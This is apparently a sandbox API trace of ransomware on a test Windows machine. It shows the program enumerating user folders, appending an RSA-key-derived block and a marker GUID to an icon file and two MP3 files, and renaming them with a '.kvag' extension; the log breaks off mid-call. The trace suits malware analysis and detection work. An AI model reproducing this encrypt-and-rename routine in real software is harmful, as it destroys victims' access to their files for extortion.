[0121.023] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.023] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.023] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.023] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.023] PathFindFileNameW (pszPath="") returned="" [0121.023] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.024] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.025] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0121.025] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0121.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.025] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=29926) returned 1 [0121.026] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.028] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.028] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.031] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.031] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x74e6, lpOverlapped=0x0) returned 1 [0121.032] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.032] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.032] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.032] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.033] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.033] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.033] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.033] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.033] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.033] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.033] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.033] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.033] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.033] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.034] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.034] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.034] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.034] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.034] CloseHandle (hObject=0x61c) returned 1 [0121.035] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.kvag")) returned 1 [0121.036] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0121.036] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.037] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.037] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\") returned="dDJH0qEgeh8-fL\\" [0121.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\") returned="JMb5K DyX7\\" [0121.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0121.037] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.037] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.037] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.037] PathFindFileNameW (pszPath="") returned="" [0121.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f2b530, ftCreationTime.dwHighDateTime=0x1d4d4a7, ftLastAccessTime.dwLowDateTime=0x78c26970, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0x78c26970, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.041] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61f2b530, ftCreationTime.dwHighDateTime=0x1d4d4a7, ftLastAccessTime.dwLowDateTime=0x78c26970, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0x78c26970, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.042] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee082c0, ftCreationTime.dwHighDateTime=0x1d4c9c3, ftLastAccessTime.dwLowDateTime=0x76f975c0, ftLastAccessTime.dwHighDateTime=0x1d4c79d, ftLastWriteTime.dwLowDateTime=0x76f975c0, ftLastWriteTime.dwHighDateTime=0x1d4c79d, nFileSizeHigh=0x0, nFileSizeLow=0xfbcb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1lRBjZRQOlow.mp3", cAlternateFileName="1LRBJZ~1.MP3")) returned 1 [0121.042] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\1lRBjZRQOlow.mp3") returned=".mp3" [0121.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\1lRBjZRQOlow.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\1lrbjzrqolow.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.042] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=64459) returned 1 [0121.042] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.044] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfba5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.044] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.046] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xfbcb, lpOverlapped=0x0) returned 1 [0121.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.046] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.047] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.047] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.047] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.047] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.047] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.048] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.048] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.048] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.048] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.048] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.048] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.048] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.048] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfbcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.049] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.049] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.049] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.049] CloseHandle (hObject=0x61c) returned 1 [0121.050] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\1lRBjZRQOlow.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\1lrbjzrqolow.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\1lRBjZRQOlow.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\1lrbjzrqolow.mp3.kvag")) returned 1 [0121.051] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa15bbe50, ftCreationTime.dwHighDateTime=0x1d4d430, ftLastAccessTime.dwLowDateTime=0x418d0500, ftLastAccessTime.dwHighDateTime=0x1d4c5f4, ftLastWriteTime.dwLowDateTime=0x418d0500, ftLastWriteTime.dwHighDateTime=0x1d4c5f4, nFileSizeHigh=0x0, nFileSizeLow=0xca5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6xt4FsFvWcFUHy94.mp3", cAlternateFileName="6XT4FS~1.MP3")) returned 1 [0121.051] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\6xt4FsFvWcFUHy94.mp3") returned=".mp3" [0121.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\dDJH0qEgeh8-fL\\6xt4FsFvWcFUHy94.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\ddjh0qegeh8-fl\\6xt4fsfvwcfuhy94.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.054] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=51807) returned 1 [0121.054] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.056] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xca39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.056] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.057] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xca5f, lpOverlapped=0x0) returned 1 [0121.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.058] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0121.059] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.059] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.059] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.059] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.059] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.059] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0121.059] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.059] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.059] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.060] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.060] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xca5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.060] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.060] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.060] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: 